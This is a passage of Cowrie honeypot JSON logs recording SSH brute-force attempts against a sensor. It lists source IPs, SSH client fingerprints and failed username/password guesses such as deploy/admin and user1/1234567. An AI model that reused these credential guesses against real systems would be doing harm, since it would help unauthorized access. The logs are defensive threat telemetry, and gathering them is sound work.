0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:41.734175Z","src_ip":"176.65.139.95","session":"d905facb9d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:41.994242Z","src_ip":"176.65.139.95","session":"d905facb9d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:43.118649Z","src_ip":"176.65.139.95","session":"d905facb9d83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47054,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca9aeb35a657","protocol":"ssh","message":"New connection: 176.65.139.95:47054 (159.203.135.109:22) [session: ca9aeb35a657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:48.288596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:48.293474Z","src_ip":"176.65.139.95","session":"ca9aeb35a657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:48.375684Z","src_ip":"176.65.139.95","session":"ca9aeb35a657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:48.686227Z","src_ip":"176.65.139.95","session":"ca9aeb35a657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:49.771897Z","src_ip":"176.65.139.95","session":"ca9aeb35a657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":49042,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcbe6ad67850","protocol":"telnet","message":"New connection: 152.59.179.89:49042 (10.17.0.5:23) [session: dcbe6ad67850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:52.634158Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39600,"dst_ip":"159.203.135.109","dst_port":22,"session":"e65d73f374d8","protocol":"ssh","message":"New connection: 176.65.139.95:39600 (159.203.135.109:22) [session: e65d73f374d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:54.536731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:54.564686Z","src_ip":"176.65.139.95","session":"e65d73f374d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:54.633874Z","src_ip":"176.65.139.95","session":"e65d73f374d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:55.277433Z","src_ip":"176.65.139.95","session":"e65d73f374d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:00:56.363256Z","src_ip":"176.65.139.95","session":"e65d73f374d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52192,"dst_ip":"159.203.135.109","dst_port":22,"session":"3362b19dd6f0","protocol":"ssh","message":"New connection: 159.203.92.129:52192 (159.203.135.109:22) [session: 3362b19dd6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:00.214230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:00.220571Z","src_ip":"159.203.92.129","session":"3362b19dd6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:00.227372Z","src_ip":"159.203.92.129","session":"3362b19dd6f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Lingqingzhao","password":"Lingqingzhao","message":"login attempt [Lingqingzhao/Lingqingzhao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:00.255115Z","src_ip":"159.203.92.129","session":"3362b19dd6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:01.264407Z","src_ip":"159.203.92.129","session":"3362b19dd6f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55924,"dst_ip":"159.203.135.109","dst_port":22,"session":"b59370411e15","protocol":"ssh","message":"New connection: 176.65.139.95:55924 (159.203.135.109:22) [session: b59370411e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:01.474519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:01.485507Z","src_ip":"176.65.139.95","session":"b59370411e15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:01.561808Z","src_ip":"176.65.139.95","session":"b59370411e15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:01.948679Z","src_ip":"176.65.139.95","session":"b59370411e15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:03.047273Z","src_ip":"176.65.139.95","session":"b59370411e15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44606,"dst_ip":"159.203.135.109","dst_port":22,"session":"031de547d60a","protocol":"ssh","message":"New connection: 192.109.200.78:44606 (159.203.135.109:22) [session: 031de547d60a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:07.966427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:07.971863Z","src_ip":"192.109.200.78","session":"031de547d60a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55928,"dst_ip":"159.203.135.109","dst_port":22,"session":"40f02c2225f2","protocol":"ssh","message":"New connection: 176.65.139.95:55928 (159.203.135.109:22) [session: 40f02c2225f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:08.011247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:08.030357Z","src_ip":"176.65.139.95","session":"40f02c2225f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:08.053896Z","src_ip":"192.109.200.78","session":"031de547d60a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:08.123191Z","src_ip":"176.65.139.95","session":"40f02c2225f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tiki2025@!","message":"login attempt [root/Tiki2025@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:08.452077Z","src_ip":"176.65.139.95","session":"40f02c2225f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:09.537294Z","src_ip":"176.65.139.95","session":"40f02c2225f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37450,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ce9c66a51d7","protocol":"ssh","message":"New connection: 176.65.139.95:37450 (159.203.135.109:22) [session: 2ce9c66a51d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:14.451223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:14.467543Z","src_ip":"176.65.139.95","session":"2ce9c66a51d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:14.555682Z","src_ip":"176.65.139.95","session":"2ce9c66a51d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:15.036745Z","src_ip":"176.65.139.95","session":"2ce9c66a51d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:15.967676Z","src_ip":"192.109.200.78","session":"031de547d60a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:16.134750Z","src_ip":"176.65.139.95","session":"2ce9c66a51d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46794,"dst_ip":"159.203.135.109","dst_port":22,"session":"3484070872fe","protocol":"ssh","message":"New connection: 176.65.139.95:46794 (159.203.135.109:22) [session: 3484070872fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:21.183749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:21.192591Z","src_ip":"176.65.139.95","session":"3484070872fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:21.277970Z","src_ip":"176.65.139.95","session":"3484070872fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:01:21.989945Z","src_ip":"176.65.139.95","session":"3484070872fe","protocol":"ssh"}
